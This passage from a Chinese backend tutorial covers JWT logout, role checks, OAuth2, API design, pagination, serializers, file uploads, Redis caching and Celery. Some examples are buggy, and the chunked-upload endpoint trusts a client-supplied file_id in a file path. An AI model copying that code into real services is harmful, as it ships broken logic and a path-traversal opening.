jti = payload["jti"]
exp = payload["exp"]
ttl = exp - int(datetime.now(datetime.UTC).timestamp())
if ttl > 0:
redis_client.setex(f"blacklist:{jti}", ttl, "1") # 过期自动删除
return {"message": "登出成功"}
except jwt.InvalidTokenError:
return {"message": "Token 已失效"}
# 中间件中检查黑名单
async def get_current_user(token: str = Header(...)):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
if redis_client.get(f"blacklist:{payload['jti']}"):
raise HTTPException(401, "Token 已失效")
return payload
except jwt.ExpiredSignatureError:
raise HTTPException(401, "Token 已过期")
from functools import wraps
from fastapi import HTTPException
def require_role(*required_roles):
"""要求用户具有指定角色"""
def decorator(func):
@wraps(func)
async def wrapper(*args, **kwargs):
user = kwargs.get("user") or args[0] if args else None
if not user:
raise HTTPException(401, "未登录")
user_roles = user.get("roles", [])
if not any(role in user_roles for role in required_roles):
raise HTTPException(403, f"需要角色: {required_roles}")
return await func(*args, **kwargs)
return wrapper
return decorator
def require_permission(*required_perms):
"""要求用户具有指定权限"""
def decorator(func):
@wraps(func)
async def wrapper(*args, **kwargs):
user = kwargs.get("user") or args[0] if args else None
if not user:
raise HTTPException(401, "未登录")
user_perms = user.get("permissions", [])
if not all(perm in user_perms for perm in required_perms):
raise HTTPException(403, f"需要权限: {required_perms}")
return await func(*args, **kwargs)
return wrapper
return decorator
# 使用示例
@app.delete("/articles/{article_id}")
@require_role("admin", "editor")
async def delete_article(article_id: int, user = Depends(get_current_user)):
# 只有 admin 或 editor 能删除文章
...
@app.post("/articles")
@require_permission("article:create")
async def create_article(data: ArticleCreate, user = Depends(get_current_user)):
# 需要 article:create 权限
...
# OAuth2 授权码流程(最安全的流程)
# 1. 用户点击"微信登录" → 跳转到微信授权页面
# 2. 用户授权后 → 微信重定向回你的应用,携带 code
# 3. 你的应用用 code 换取 access_token
# 4. 用 access_token 获取用户信息
# FastAPI + OAuth2 实现
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import OAuth2AuthorizationCodeBearer
from authlib.integrations.starlette_client import OAuth
import httpx
app = FastAPI()
# 配置 OAuth2 提供商
oauth = OAuth()
oauth.register(
name='github',
client_id='your-client-id',
client_secret='your-client-secret',
access_token_url='https://github.com/login/oauth/access_token',
authorize_url='https://github.com/login/oauth/authorize',
api_base_url='https://api.github.com/',
client_kwargs={'scope': 'user:email'},
)
# 1. 跳转到授权页面
@app.get("/auth/github/login")
async def github_login():
redirect_uri = "http://localhost:8000/auth/github/callback"
return await oauth.github.authorize_redirect(redirect_uri)
# 2. 授权回调(接收 code,换取 token)
@app.get("/auth/github/callback")
async def github_callback(code: str):
# 用 code 换取 access_token
async with httpx.AsyncClient() as client:
token_response = await client.post(
"https://github.com/login/oauth/access_token",
data={
"client_id": "your-client-id",
"client_secret": "your-client-secret",
"code": code,
},
headers={"Accept": "application/json"}
)
token_data = token_response.json()
access_token = token_data["access_token"]
# 用 access_token 获取用户信息
async with httpx.AsyncClient() as client:
user_response = await client.get(
"https://api.github.com/user",
headers={"Authorization": f"Bearer {access_token}"}
)
github_user = user_response.json()
# 查找或创建本地用户
user = await get_or_create_user(
provider="github",
provider_id=github_user["id"],
username=github_user["login"],
email=github_user.get("email"),
)
# 生成 JWT Token
jwt_token = create_access_token(user.id)
return {"access_token": jwt_token, "token_type": "bearer"}
# PKCE 扩展(公共客户端更安全)
# PKCE = Proof Key for Code Exchange
# 防止授权码被拦截后使用
import hashlib
import base64
import secrets
def generate_pkce():
"""生成 PKCE 参数"""
code_verifier = secrets.token_urlsafe(32) # 随机字符串
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()
return code_verifier, code_challenge
# 授权请求时携带 code_challenge
code_verifier, code_challenge = generate_pkce()
# 跳转 URL: ...&code_challenge={code_challenge}&code_challenge_method=S256
# 回调时用 code_verifier 换取 token
# POST /token: ...&code_verifier={code_verifier}
① 始终使用 HTTPS。② 验证 state 参数(防 CSRF)。③ 使用 PKCE(防授权码拦截)。④ 不要在前端存储 client_secret。⑤ access_token 要设置过期时间。⑥ 定期刷新 token。
好的 API 设计让前端开发者一看就懂、一用就会。差的 API 设计让团队反复沟通、不断踩坑。
# 所有接口返回统一格式
{
"code": 200, # 业务状态码(0=成功,其他=错误)
"message": "success", # 提示信息
"data": { # 业务数据
"id": 1,
"name": "张三"
}
}
# 列表接口
{
"code": 200,
"data": {
"items": [...],
"total": 100,
"page": 1,
"size": 20
}
}
# 错误响应
{
"code": 40001, # 业务错误码
"message": "用户名已存在",
"errors": [ # 详细错误信息
{"field": "username", "message": "已被注册"}
]
}
# 错误码设计:5位数字,前两位表示模块,后三位表示具体错误
# 1xxxx — 通用错误
# 2xxxx — 用户模块
# 3xxxx — 订单模块
# 4xxxx — 支付模块
class ErrorCode:
SUCCESS = 0
PARAM_ERROR = 10001 # 参数错误
NOT_FOUND = 10002 # 资源不存在
UNAUTHORIZED = 10003 # 未登录
FORBIDDEN = 10004 # 无权限
USER_EXISTS = 20001 # 用户已存在
USER_NOT_FOUND = 20002 # 用户不存在
PASSWORD_ERROR = 20003 # 密码错误
# 方式 1:URL 路径(推荐)
GET /api/v1/users
GET /api/v2/users
# 方式 2:请求头
GET /api/users
Accept: application/vnd.myapp.v2+json
# Flask 蓝图实现
from flask import Blueprint
v1 = Blueprint('v1', __name__, url_prefix='/api/v1')
v2 = Blueprint('v2', __name__, url_prefix='/api/v2')
① URL 用名词复数(/users 不是 /getUser)。② HTTP 方法表示操作(GET/POST/PUT/DELETE)。③ 状态码语义正确(201 创建成功、404 不存在)。④ 所有响应格式统一。⑤ 版本号从 v1 开始。
URL 路径用小写连字符(/user-profiles)。JSON 字段用 camelCase(createdAt)或 snake_case(created_at),选一种保持一致。推荐 camelCase(前端习惯)。
列表接口是后端最常见的接口——返回数据列表,支持分页、过滤、排序、搜索。
# 偏移分页(Offset Pagination)—— 最常用
GET /api/users?page=1&size=20
# SQL: SELECT * FROM users LIMIT 20 OFFSET 0
# 问题:当数据量大时,OFFSET 100000 性能很差(要跳过 10 万行)
# 问题:数据变更时可能返回重复或遗漏
# 游标分页(Cursor Pagination)—— 适合大数据量
GET /api/users?cursor=eyJpZCI6MTAwfQ&size=20
# SQL: SELECT * FROM users WHERE id > 100 LIMIT 20
# 优点:性能稳定(不管第几页都是 WHERE id > X)
# 缺点:不能跳页(只能"上一页""下一页")
# FastAPI 实现
@app.get("/api/users")
def list_users(
# 分页
page: int = Query(1, ge=1),
size: int = Query(20, ge=1, le=100),
# 过滤
role: Optional[str] = None,
status: Optional[str] = None,
# 排序
sort_by: str = Query("created_at", regex="^(created_at|name|id)$"),
order: str = Query("desc", regex="^(asc|desc)$"),
# 搜索
q: Optional[str] = None,
):
query = User.query
# 过滤
if role:
query = query.filter(User.role == role)
if status:
query = query.filter(User.status == status)
# 搜索
if q:
query = query.filter(User.name.contains(q))
# 排序
sort_column = getattr(User, sort_by)
query = query.order_by(sort_column.desc() if order == 'desc' else sort_column.asc())
# 分页
total = query.count()
items = query.offset((page - 1) * size).limit(size).all()
return {
"items": [u.to_dict() for u in items],
"total": total,
"page": page,
"size": size,
"pages": (total + size - 1) // size,
}
① 数据量超过 10 万条。② 实时数据流(如朋友圈、微博时间线)。③ 对性能要求高。常见的游标是记录的 ID 或创建时间。
① 模糊搜索(LIKE '%keyword%')——简单但慢,数据量大时不可用。② 全文索引(MySQL FULLTEXT / PostgreSQL tsvector)——中等性能。③ Elasticsearch——专业搜索引擎,适合复杂搜索场景。详见第 65 章。
用户提交的数据永远不可信。后端必须对每个参数进行校验,并用统一的格式返回错误信息。
# FastAPI 全局异常处理
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import JSONResponse
app = FastAPI()
class BusinessError(Exception):
"""业务异常"""
def __init__(self, code: int, message: str):
self.code = code
self.message = message
@app.exception_handler(BusinessError)
async def business_error_handler(request: Request, exc: BusinessError):
return JSONResponse(
status_code=200,
content={"code": exc.code, "message": exc.message, "data": None}
)
@app.exception_handler(Exception)
async def global_error_handler(request: Request, exc: Exception):
return JSONResponse(
status_code=500,
content={"code": 500, "message": "服务器内部错误", "data": None}
)
# 使用
@app.get("/users/{user_id}")
def get_user(user_id: int):
user = db.session.get(User, user_id)
if not user:
raise BusinessError(10002, "用户不存在")
return {"code": 0, "data": user.to_dict()}
class AppError(Exception):
"""应用异常基类"""
def __init__(self, code=500, message="服务器错误"):
self.code = code
self.message = message
class NotFoundError(AppError):
def __init__(self, resource="资源"):
super().__init__(404, f"{resource}不存在")
class AuthError(AppError):
def __init__(self, message="未登录"):
super().__init__(401, message)
class PermissionError(AppError):
def __init__(self, message="无权限"):
super().__init__(403, message)
class ValidationError(AppError):
def __init__(self, message="参数错误"):
super().__init__(400, message)
① 不要暴露内部错误堆栈给用户(安全隐患)。② 区分"用户错误"(4xx)和"服务器错误"(5xx)。③ 错误信息要对用户友好("密码错误"不是"authentication failed")。④ 记录所有 5xx 错误到日志。
序列化(Serialization)是把 Python 对象转成 JSON 的过程。反序列化(Deserialization)是把 JSON 转回 Python 对象并校验。选对工具很重要。
| 工具 | 框架 | 特点 |
|---|---|---|
| Pydantic | FastAPI | 类型提示驱动,性能极快(v2 用 Rust),自动文档 |
| DRF Serializer | Django REST Framework | 深度集成 Django ORM,ModelSerializer 极简 |
| Marshmallow | Flask / 通用 | 独立于框架,灵活,社区成熟 |
# Pydantic(FastAPI)
from pydantic import BaseModel, Field, EmailStr
from datetime import datetime
class UserOut(BaseModel):
id: int
name: str
email: EmailStr
created_at: datetime
model_config = {'from_attributes': True} # 支持从 ORM 对象转换
# DRF Serializer(Django)
from rest_framework import serializers
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['id', 'name', 'email', 'created_at']
read_only_fields = ['id', 'created_at']
# Marshmallow(Flask)
from marshmallow import Schema, fields
class UserSchema(Schema):
id = fields.Int(dump_only=True) # 只序列化,不反序列化
name = fields.Str(required=True)
email = fields.Email(required=True)
created_at = fields.DateTime(dump_only=True)
# Pydantic —— 嵌套模型
class ArticleOut(BaseModel):
id: int
title: str
author: UserOut # 嵌套用户序列化器
tags: list[str]
model_config = {'from_attributes': True}
# DRF —— 嵌套 Serializer
class ArticleSerializer(serializers.ModelSerializer):
author = UserSerializer(read_only=True) # 嵌套序列化
tags = serializers.StringRelatedField(many=True, read_only=True)
class Meta:
model = Article
fields = ['id', 'title', 'author', 'tags', 'created_at']
# Marshmallow —— Nested 字段
class ArticleSchema(Schema):
id = fields.Int()
title = fields.Str()
author = fields.Nested(UserSchema) # 嵌套
tags = fields.List(fields.Str())
# Pydantic —— 计算字段
from pydantic import computed_field
class ArticleOut(BaseModel):
id: int
title: str
content: str
created_at: datetime
@computed_field
@property
def summary(self) -> str:
return self.content[:100] + '...' if len(self.content) > 100 else self.content
@computed_field
@property
def days_since_published(self) -> int:
return (datetime.now() - self.created_at).days
# DRF —— SerializerMethodField
class ArticleSerializer(serializers.ModelSerializer):
summary = serializers.SerializerMethodField()
days_since_published = serializers.SerializerMethodField()
class Meta:
model = Article
fields = ['id', 'title', 'summary', 'days_since_published']
def get_summary(self, obj):
return obj.content[:100] + '...' if len(obj.content) > 100 else obj.content
def get_days_since_published(self, obj):
return (datetime.now() - obj.created_at).days
# Marshmallow —— Function 字段
class ArticleSchema(Schema):
summary = fields.Function(lambda obj: obj.content[:100])
# Pydantic —— partial 更新
from pydantic import BaseModel
from typing import Optional
class UserUpdate(BaseModel):
name: Optional[str] = None # 可选字段
email: Optional[EmailStr] = None
# FastAPI 路由
@app.patch("/api/users/{user_id}")
def update_user(user_id: int, data: UserUpdate, db: Session = Depends(get_db)):
user = db.session.get(User, user_id)
update_data = data.model_dump(exclude_unset=True) # 只取有值的字段
for key, value in update_data.items():
setattr(user, key, value)
db.commit()
return UserOut.model_validate(user)
# DRF —— partial=True
serializer = UserSerializer(instance=user, data=request.data, partial=True)
serializer.is_valid(raise_exception=True)
serializer.save()
| 场景 | Pydantic v2 | DRF Serializer | Marshmallow |
|---|---|---|---|
| 序列化 1000 条 | ~2ms | ~15ms | ~8ms |
| 反序列化 + 校验 | ~3ms | ~20ms | ~10ms |
| 嵌套 3 层 | ~8ms | ~50ms | ~25ms |
* 仅供参考,实际性能取决于数据复杂度和硬件环境
用什么框架就用什么序列化工具——FastAPI 用 Pydantic,Django 用 DRF Serializer,Flask 用 Marshmallow。不要混用。如果追求极致性能,Pydantic v2(Rust 核心)是目前最快的。
① 输入和输出用不同的序列化器(CreateSchema vs ResponseSchema)。② 敏感字段(密码、Token)永远不要序列化到响应中。③ 列表接口不要返回嵌套太深的数据(性能差)。④ 大量数据用 values() 或 only() 减少字段。⑤ 前端不需要的字段不要返回。
① DRF 的 SerializerMethodField 每条记录都调用一次方法——N 条数据调用 N 次,大数据量时很慢。② Pydantic 的 from_attributes = True 比直接构造字典慢 2-3 倍。③ 循环嵌套(A 引用 B,B 引用 A)会导致无限递归——用 model_rebuild() 或排除反向引用。
文件上传是后端的常见需求——头像、文档、图片都需要处理。本地存储适合开发,生产环境推荐 OSS 云存储。
# FastAPI 文件上传
from fastapi import UploadFile, File, HTTPException
import os, uuid, shutil
from pathlib import Path
UPLOAD_DIR = Path("uploads")
UPLOAD_DIR.mkdir(exist_ok=True)
ALLOWED_TYPES = {"image/jpeg", "image/png", "image/gif", "application/pdf"}
MAX_SIZE = 10 * 1024 * 1024 # 10MB
@app.post("/api/upload")
async def upload_file(file: UploadFile = File(...)):
# 1. 校验文件类型
if file.content_type not in ALLOWED_TYPES:
raise HTTPException(400, f"不支持的文件类型: {file.content_type}")
# 2. 读取文件内容并校验大小
content = await file.read()
if len(content) > MAX_SIZE:
raise HTTPException(400, f"文件太大,最大 {MAX_SIZE // 1024 // 1024}MB")
# 3. 生成安全的文件名(UUID 防重名 + 防目录遍历)
ext = Path(file.filename).suffix.lower()
filename = f"{uuid.uuid4().hex}{ext}"
filepath = UPLOAD_DIR / filename
# 4. 保存文件
with open(filepath, "wb") as f:
f.write(content)
return {"url": f"/uploads/{filename}", "size": len(content)}
# Django 文件上传
from django.core.files.storage import default_storage
from django.core.files.base import ContentFile
def upload_view(request):
file = request.FILES['file']
# 校验大小
if file.size > 10 * 1024 * 1024:
return JsonResponse({"error": "文件太大"}, status=400)
ext = file.name.rsplit('.', 1)[-1].lower()
filename = f"{uuid.uuid4().hex}.{ext}"
path = default_storage.save(f"uploads/{filename}", ContentFile(file.read()))
return JsonResponse({"url": f"/media/{path}"})
# pip install Pillow
from PIL import Image
from io import BytesIO
def process_avatar(image_bytes: bytes, size: tuple = (200, 200)) -> bytes:
"""处理头像:缩放 + 裁剪为正方形 + 压缩"""
img = Image.open(BytesIO(image_bytes))
# 1. 缩放(保持比例)
img.thumbnail((size[0] * 2, size[1] * 2), Image.LANCZOS)
# 2. 居中裁剪为正方形
w, h = img.size
min_dim = min(w, h)
left = (w - min_dim) // 2
top = (h - min_dim) // 2
img = img.crop((left, top, left + min_dim, top + min_dim))
# 3. 缩放到目标尺寸
img = img.resize(size, Image.LANCZOS)
# 4. 输出为 JPEG 并压缩
output = BytesIO()
img.convert('RGB').save(output, format='JPEG', quality=85, optimize=True)
return output.getvalue()
# 生成多尺寸缩略图
def generate_thumbnails(image_bytes: bytes) -> dict:
sizes = {"small": (100, 100), "medium": (400, 400), "large": (800, 800)}
results = {}
for name, size in sizes.items():
results[name] = process_avatar(image_bytes, size)
return results
# FastAPI 多文件上传
@app.post("/api/upload/batch")
async def upload_multiple(files: list[UploadFile] = File(...)):
if len(files) > 10:
raise HTTPException(400, "最多上传 10 个文件")
results = []
for file in files:
ext = Path(file.filename).suffix.lower()
filename = f"{uuid.uuid4().hex}{ext}"
filepath = UPLOAD_DIR / filename
with open(filepath, "wb") as f:
content = await file.read()
f.write(content)
results.append({"original": file.filename, "url": f"/uploads/{filename}"})
return {"uploaded": results}
# 前端配合(FormData + 多文件)
# <input type="file" multiple>
# const formData = new FormData();
# files.forEach(f => formData.append('files', f));
# fetch('/api/upload/batch', { method: 'POST', body: formData });
# 大文件分片上传(适合视频、大型文档)
from fastapi import UploadFile, Form
import hashlib
# 分片上传接口
@app.post("/api/upload/chunk")
async def upload_chunk(
file: UploadFile = File(...),
chunk_index: int = Form(...),
total_chunks: int = Form(...),
file_id: str = Form(...), # 前端生成的唯一文件标识
):
chunk_dir = UPLOAD_DIR / "chunks" / file_id
chunk_dir.mkdir(parents=True, exist_ok=True)
# 保存分片
chunk_path = chunk_dir / f"{chunk_index:06d}"
with open(chunk_path, "wb") as f:
f.write(await file.read())
# 检查是否所有分片都上传完成
uploaded = len(list(chunk_dir.iterdir()))
if uploaded == total_chunks:
# 合并分片
final_filename = f"{uuid.uuid4().hex}{Path(file.filename).suffix}"
final_path = UPLOAD_DIR / final_filename
with open(final_path, "wb") as outfile:
for i in range(total_chunks):
chunk_path = chunk_dir / f"{i:06d}"
outfile.write(chunk_path.read_bytes())
chunk_path.unlink() # 删除分片
chunk_dir.rmdir()
return {"status": "complete", "url": f"/uploads/{final_filename}"}
return {"status": "uploading", "progress": f"{uploaded}/{total_chunks}"}
# 云存储(阿里云 OSS)
import oss2
auth = oss2.Auth('AccessKeyId', 'AccessKeySecret')
bucket = oss2.Bucket(auth, 'https://oss-cn-beijing.aliyuncs.com', 'my-bucket')
def upload_to_oss(file, filename: str) -> str:
bucket.put_object(filename, file)
return f"https://my-bucket.oss-cn-beijing.aliyuncs.com/{filename}"
# 生成临时上传 URL(Presigned URL)—— 前端直传 OSS
def generate_presigned_url(filename: str, expires: int = 3600) -> str:
"""生成临时上传 URL,前端直接上传到 OSS,不经过后端"""
url = bucket.sign_url('PUT', filename, expires)
return url
# 使用流程:
# 1. 前端请求后端获取 presigned URL
# 2. 前端用 PUT 请求直接上传文件到 OSS
# 3. 前端通知后端上传完成,后端保存文件 URL
# 优势:大文件不经过后端服务器,节省带宽
把静态资源(图片、CSS、JS)放到 CDN 上,用户从最近的节点加载,速度提升 10 倍以上。阿里云 OSS + CDN 是最常见的组合。配置步骤:① OSS 开启 CDN 加速域名。② DNS 解析 CNAME 到 CDN。③ 设置缓存规则(静态资源缓存 30 天)。④ 开启 HTTPS。
① 校验文件类型(不要只看扩展名,用 python-magic 检查真实 MIME)。② 限制文件大小(MAX_CONTENT_LENGTH)。③ 用 UUID 重命名(防目录遍历和文件名注入)。④ 不要把上传目录放在 Web 可访问的路径下。⑤ 图片上传后重新编码(防止在 EXIF 中嵌入恶意代码)。⑥ 扫描病毒(ClamAV)。
① 静态资源用 Nginx 直接服务(比 Python 快 100 倍)。② 开启 Gzip/Brotli 压缩。③ 设置 Cache-Control 和 ETag。④ 文件名带哈希(app.a1b2c3.js),更新时哈希变化,自动失效缓存。⑤ 图片用 WebP 格式(比 JPEG 小 25-35%)。
缓存是性能优化的第一道防线——把热点数据存在内存中,避免每次请求都查数据库。
import redis
import json
r = redis.Redis()
def get_user(user_id: int):
cache_key = f"user:{user_id}"
# 1. 先查缓存
cached = r.get(cache_key)
if cached:
return json.loads(cached)
# 2. 缓存没有,查数据库
user = db.session.get(User, user_id)
if user:
# 3. 写入缓存(过期时间 + 随机偏移)
import random
ttl = 3600 + random.randint(0, 300) # 60-65 分钟
r.setex(cache_key, ttl, json.dumps(user.to_dict()))
else:
# 4. 缓存空值(防穿透)
r.setex(cache_key, 60, json.dumps(None))
return user
# ===== 布隆过滤器(防穿透的高级方案)=====
# pip install pybloom_live
from pybloom_live import BloomFilter
# 初始化布隆过滤器(预计 100 万个元素,误判率 1%)
bloom = BloomFilter(capacity=1000000, error_rate=0.01)
def init_bloom_filter():
"""应用启动时,将所有有效 ID 加入布隆过滤器"""
all_ids = db.query(User.id).all()
for (user_id,) in all_ids:
bloom.add(user_id)
def get_user_with_bloom(user_id: int):
# 1. 先查布隆过滤器
if user_id not in bloom:
return None # 一定不存在,直接返回
# 2. 查缓存
cached = redis.get(f"user:{user_id}")
if cached:
return json.loads(cached)
# 3. 查数据库
user = db.session.get(User, user_id)
if user:
redis.setex(f"user:{user_id}", 3600, json.dumps(user.to_dict()))
return user
# ===== 互斥锁防击穿 =====
import time
def get_user_with_mutex(user_id: int, max_retries: int = 30):
cache_key = f"user:{user_id}"
lock_key = f"lock:{cache_key}"
# 1. 查缓存
cached = redis.get(cache_key)
if cached:
return json.loads(cached)
# 2. 尝试获取锁(循环重试,避免递归爆栈)
for attempt in range(max_retries):
if redis.set(lock_key, "1", nx=True, ex=10): # 锁 10 秒过期
try:
# 3. 获得锁,查数据库
user = db.session.get(User, user_id)
if user:
redis.setex(cache_key, 3600, json.dumps(user.to_dict()))
else:
redis.setex(cache_key, 60, json.dumps(None))
return user
finally:
# 4. 释放锁
redis.delete(lock_key)
else:
# 5. 未获得锁,等待后重试
time.sleep(0.1)
# 重试耗尽,兜底查数据库
return db.session.get(User, user_id)
# 本地缓存——进程内缓存,零网络开销
from functools import lru_cache
import time
# 方式1:Python 内置 lru_cache(适合纯函数)
@lru_cache(maxsize=1000)
def get_config(key: str) -> str:
"""配置项不会频繁变化,适合本地缓存"""
return db.query(Config).filter(Config.key == key).first().value
# 方式2:带过期时间的本地缓存
from cachetools import TTLCache
local_cache = TTLCache(maxsize=1000, ttl=300) # 最多 1000 条,5 分钟过期
def get_user_local(user_id: int):
if user_id in local_cache:
return local_cache[user_id]
user = db.session.get(User, user_id)
if user:
local_cache[user_id] = user.to_dict()
return user
# 方式3:多级缓存架构
# L1: 本地缓存(进程内,微秒级)
# L2: Redis 缓存(网络,毫秒级)
# L3: 数据库(磁盘,十毫秒级)
def get_user_multi_level(user_id: int):
# L1: 查本地缓存
if user_id in local_cache:
return local_cache[user_id]
# L2: 查 Redis
cached = redis.get(f"user:{user_id}")
if cached:
data = json.loads(cached)
local_cache[user_id] = data # 回填 L1
return data
# L3: 查数据库
user = db.session.get(User, user_id)
if user:
data = user.to_dict()
redis.setex(f"user:{user_id}", 3600, json.dumps(data)) # 写入 L2
local_cache[user_id] = data # 写入 L1
return data
return None
# 策略1:TTL 过期(最简单)
redis.setex("user:123", 3600, json.dumps(user_data)) # 1 小时后自动过期
# 策略2:主动删除(写时删除)
def update_user(user_id: int, data: dict):
# 1. 更新数据库
db.query(User).filter(User.id == user_id).update(data)
db.commit()
# 2. 删除缓存(而不是更新缓存!)
redis.delete(f"user:{user_id}")
# 为什么要删除而不是更新?
# 因为并发时,更新缓存和更新数据库的顺序可能不一致
# 策略3:延迟双删(解决并发一致性问题)
import asyncio
async def update_user_double_delete(user_id: int, data: dict):
redis.delete(f"user:{user_id}") # 第一次删除
db.query(User).filter(User.id == user_id).update(data)
db.commit()
await asyncio.sleep(0.5) # 延迟 500ms
redis.delete(f"user:{user_id}") # 第二次删除
# 策略4:基于消息的缓存更新
# 数据库变更 → 发消息 → 消费者更新/删除缓存
# 适用于分布式系统,多个服务共享缓存
# 系统启动时预加载热点数据到缓存
def warm_up_cache():
"""应用启动时执行"""
# 1. 预热热门文章
hot_articles = db.query(Article).order_by(Article.views.desc()).limit(100).all()
for article in hot_articles:
redis.setex(f"article:{article.id}", 7200, json.dumps(article.to_dict()))
# 2. 预热配置项
configs = db.query(Config).all()
for config in configs:
redis.setex(f"config:{config.key}", 86400, config.value)
# 3. 预热分类数据(变化频率低)
categories = db.query(Category).all()
redis.setex("categories:all", 86400, json.dumps([c.to_dict() for c in categories]))
print(f"缓存预热完成:{len(hot_articles)} 篇文章,{len(configs)} 个配置")
# 在 FastAPI 启动事件中调用(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup") # 注意:FastAPI 已弃用,建议改用 lifespan
async def startup():
warm_up_cache()
# 通用缓存装饰器
import functools
import hashlib
def cached(prefix: str, ttl: int = 3600, key_func=None):
"""缓存装饰器,自动缓存函数结果(含防击穿保护)"""
import asyncio
_locks = {} # 按 key 分锁,防止并发击穿
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
# 生成缓存 key
if key_func:
cache_key = f"{prefix}:{key_func(*args, **kwargs)}"
else:
import json
key_data = json.dumps({"args": args, "kwargs": kwargs}, sort_keys=True, default=str)
cache_key = f"{prefix}:{hashlib.md5(key_data.encode()).hexdigest()}"
# 查缓存
cached_result = redis.get(cache_key)
if cached_result:
return json.loads(cached_result)
# 防击穿:同一 key 只允许一个请求查数据库
if cache_key not in _locks:
_locks[cache_key] = asyncio.Lock()
async with _locks[cache_key]:
# 双重检查(其他协程可能已经填充了缓存)
cached_result = redis.get(cache_key)
if cached_result:
return json.loads(cached_result)
# 执行函数
result = await func(*args, **kwargs)
# 写缓存
if result is not None:
redis.setex(cache_key, ttl, json.dumps(result, default=str))
return result
return wrapper
return decorator
# 使用
@cached(prefix="user", ttl=3600, key_func=lambda user_id: user_id)
async def get_user(user_id: int):
return await db.session.get(User, user_id).to_dict()
@cached(prefix="articles", ttl=1800, key_func=lambda page, size: f"{page}:{size}")
async def get_article_list(page: int = 1, size: int = 20):
return await db.query(Article).offset((page-1)*size).limit(size).all()
Cache-Aside(旁路缓存):读时先查缓存,没有则查 DB 并写缓存。写时先更新 DB,再删缓存。这是最常用的策略。Write-Through:写时同时更新缓存和 DB。数据一致性强但性能稍差。Write-Behind:写时只更新缓存,异步批量写入 DB。性能最好但有数据丢失风险。大多数场景用 Cache-Aside 就够了。
监控 Redis 的命中率:redis-cli info stats | grep keyspace。命中率低于 80% 说明缓存策略有问题。监控内存使用:redis-cli info memory。设置 maxmemory-policy:① allkeys-lru:淘汰最近最少使用的 key(推荐)。② volatile-lru:只淘汰有过期时间的 key。③ noeviction:内存满了直接报错。
① 热点数据才缓存(80% 的请求集中在 20% 的数据上)。② 缓存粒度要合适(单条 vs 列表 vs 聚合)。③ 设置合理的过期时间(太短=缓存命中率低,太长=数据不一致)。④ 缓存 key 要有命名规范(业务:类型:ID,如 user:profile:123)。⑤ 做好缓存降级(Redis 挂了直接查 DB,不能让整个系统不可用)。
有些操作不适合在请求中同步执行(发邮件、生成报表、调用第三方 API)——它们太慢了。Celery 把这些任务放到后台异步执行。
# 安装:pip install celery redis
# celery_app.py
from celery import Celery
celery = Celery('myapp', broker='redis://localhost:6379/1')
# 定义异步任务
@celery.task(bind=True, max_retries=3)
def send_email(self, to: str, subject: str, body: str):
try:
import smtplib
# 发送邮件逻辑...
print(f"邮件已发送到 {to}")
except Exception as exc:
raise self.retry(exc=exc, countdown=60) # 60秒后重试
# 调用任务(异步)
send_email.delay("user@example.com", "欢迎", "你好")
send_email.apply_async(args=[...], countdown=300) # 5分钟后执行
# 定时任务(Celery Beat)
celery.conf.beat_schedule = {
'cleanup-every-hour': {
'task': 'tasks.cleanup_expired',
'schedule': 3600.0, # 每小时执行一次
},
}
# 启动 Worker:celery -A celery_app worker -l info
# 启动 Beat:celery -A celery_app beat -l info
# 监控面板:pip install flower; celery -A celery_app flower
# 不同类型的任务用不同的队列
celery.conf.task_routes = {
'tasks.send_email': {'queue': 'email'}, # 邮件任务走 email 队列
'tasks.generate_report': {'queue': 'heavy'}, # 重任务走 heavy 队列
'tasks.*': {'queue': 'default'}, # 其他走默认队列
}
# 启动 Worker 时指定队列
# celery -A celery_app worker -Q email,default -l info
# celery -A celery_app worker -Q heavy -c 1 -l info # 重任务只开 1 个并发
# 任务优先级
@celery.task(queue='email', priority=9) # 优先级 0-10,10 最高
def send_urgent_email(to: str, subject: str):
pass
# 配置结果后端(存储任务执行结果)
celery = Celery('myapp', broker='redis://localhost:6379/1',
backend='redis://localhost:6379/2')
# 查看任务状态
from celery.result import AsyncResult
result = send_email.delay("user@test.com", "欢迎", "你好")
print(result.id) # 任务 ID
print(result.status) # PENDING / STARTED / SUCCESS / FAILURE
print(result.result) # 任务返回值
print(result.get(timeout=10)) # 阻塞等待结果
# 任务进度回调
@celery.task(bind=True)
def generate_report(self, report_id: int):
total = 100
for i in range(total):
# 处理数据...
self.update_state(state='PROGRESS', meta={'current': i, 'total': total})
return {'report_id': report_id, 'status': 'done'}
# 前端轮询任务进度
# GET /api/tasks/{task_id} → 返回 {status: "PROGRESS", current: 50, total: 100}
# 自定义错误处理
from celery import Task
class CallbackTask(Task):
"""任务基类,自动处理失败回调"""
def on_failure(self, exc, task_id, args, kwargs, einfo):
# 任务失败时执行
print(f"任务 {task_id} 失败: {exc}")
# 记录到数据库
FailedTaskLog.create(task_id=task_id, error=str(exc), args=str(args))
def on_success(self, retval, task_id, args, kwargs):
# 任务成功时执行
print(f"任务 {task_id} 成功")
@celery.task(base=CallbackTask, max_retries=3, acks_late=True)
def risky_task(data: dict):
try:
process(data)
except ConnectionError as exc:
# 指数退避重试:60s, 120s, 240s
raise self.retry(exc=exc, countdown=60 * (2 ** self.request.retries))
# 死信队列(处理反复失败的任务)
# RabbitMQ 原生支持 DLX(Dead Letter Exchange)
# Redis 可以用自定义方案:重试 3 次后写入 "dead_letter" 队列
# celery_app.py
from celery.schedules import crontab
celery.conf.beat_schedule = {
# 每天凌晨 2 点清理过期数据
'cleanup-expired': {
'task': 'tasks.cleanup_expired',
'schedule': crontab(hour=2, minute=0),
'args': (), # 任务参数
},
# 每小时同步一次库存
'sync-inventory': {
'task': 'tasks.sync_inventory',
'schedule': 3600.0,
},
# 每周一早上 9 点发送周报
'weekly-report': {
'task': 'tasks.send_weekly_report',
'schedule': crontab(hour=9, minute=0, day_of_week=1),
},
# 每 5 分钟检查一次支付超时
'check-payment-timeout': {
'task': 'tasks.check_payment_timeout',
'schedule': 300.0,
},
}
# 启动 Beat:celery -A celery_app beat -l info
# 生产环境用 django-celery-beat(Django Admin 管理定时任务)
